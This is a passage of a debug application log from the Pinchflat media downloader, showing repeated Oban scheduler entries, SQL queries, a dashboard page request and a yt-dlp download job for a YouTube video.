{"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:00.991 [info] {"source":"oban","duration":93,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:01:22.453 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:52.454 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:00.992 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:02:22.455 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:52.456 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:00.993 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:03:22.457 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:52.459 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:00.973 [info] GET / 12:04:00.973 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 12:04:00.974 [debug] QUERY OK source="settings" db=0.2ms idle=1443.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:04:00.974 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1443.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 12:04:00.974 [debug] QUERY OK source="sources" db=0.0ms idle=1443.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 12:04:00.985 [debug] QUERY OK source="media_items" db=10.4ms idle=1444.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 12:04:00.985 [debug] QUERY OK source="media_items" db=0.4ms idle=812.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 12:04:00.986 [debug] QUERY OK source="settings" db=0.1ms idle=11.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:04:00.986 [debug] QUERY OK source="settings" db=0.1ms idle=11.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:04:00.986 [debug] QUERY OK source="settings" db=0.0ms idle=12.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:04:00.987 [debug] QUERY OK source="tasks" db=0.1ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 12:04:00.988 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 12:04:00.988 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 12:04:00.989 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 12:04:00.994 [info] {"source":"oban","duration":125,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:04:00.995 [debug] QUERY OK source="media_items" db=3.6ms idle=4.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 12:04:00.996 [debug] QUERY OK source="media_items" db=0.6ms idle=7.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 12:04:00.996 [debug] QUERY OK source="sources" db=0.2ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 12:04:00.998 [info] Sent 200 in 24ms 12:04:22.460 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:52.461 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:00.995 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:05:22.462 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:52.463 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:00.997 [info] {"source":"oban","duration":416,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:06:22.464 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:52.465 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:00.997 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:07:22.465 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:52.467 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:00.998 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:08:22.468 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:52.469 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:00.999 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:09:22.470 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:52.471 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:01.000 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:10:22.472 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:52.473 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:00.001 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:11:22.474 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:52.475 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:00.002 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:12:22.477 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:52.478 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:00.003 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:13:22.479 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:52.480 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:00.004 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:14:22.482 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:52.484 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:00.005 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:15:22.485 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:52.486 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:00.006 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:16:22.487 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:52.488 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:00.007 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:17:22.490 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:52.491 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:00.008 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:18:22.492 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:52.493 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:00.009 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:19:22.494 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:52.495 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:00.010 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:20:22.497 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:52.498 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:00.011 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:21:22.499 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:52.500 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:00.012 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:22:22.501 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:52.503 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:00.013 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:23:22.504 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:52.505 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:00.014 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:24:22.506 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:52.508 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:00.015 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:25:22.509 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:52.510 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:00.016 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:26:22.511 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:52.512 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:00.017 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:27:22.513 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:52.515 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:00.018 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:28:22.516 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:52.517 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:00.019 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:29:22.518 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:52.519 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:00.020 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:30:22.520 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:52.522 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:00.021 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:31:22.523 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:52.524 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:00.022 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:32:22.525 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:52.526 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:00.023 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:33:22.528 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:52.529 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:00.024 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:34:22.530 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:52.531 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:00.025 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:35:18.270 [info] {"args":{"id":13061},"id":1740,"meta":{},"system_time":1775061318270677476,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 12:35:18.271 [debug] QUERY OK source="media_items" db=0.3ms idle=740.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13061] 12:35:18.271 [info] User scripts lifecyle file either not present or is empty. Skipping. 12:35:18.271 [debug] QUERY OK source="sources" db=0.2ms idle=740.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 12:35:18.272 [debug] QUERY OK source="media_profiles" db=0.1ms idle=741.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:35:18.272 [debug] QUERY OK source="media_items" db=0.5ms idle=8.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13061] 12:35:18.273 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13061] 12:35:18.273 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:35:18.274 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:35:18.274 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:35:18.274 [debug] Running yt-dlp command for action: get_downloadable_status 12:35:18.275 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:35:18.275 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:35:18.275 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:35:18.275 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/06/de/06de23d05193610bb9b15032f885b6c38a2fd2da4a9843b09a9a3a31a18e42a4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 12:35:21.972 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/06/de/06de23d05193610bb9b15032f885b6c38a2fd2da4a9843b09a9a3a31a18e42a4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 12:35:21.972 [debug] Running yt-dlp command for action: download 12:35:21.972 [debug] QUERY OK source="settings" db=0.1ms idle=704.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:35:21.972 [debug] QUERY OK source="settings" db=0.1ms idle=442.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:35:21.973 [debug] QUERY OK source="settings" db=0.1ms 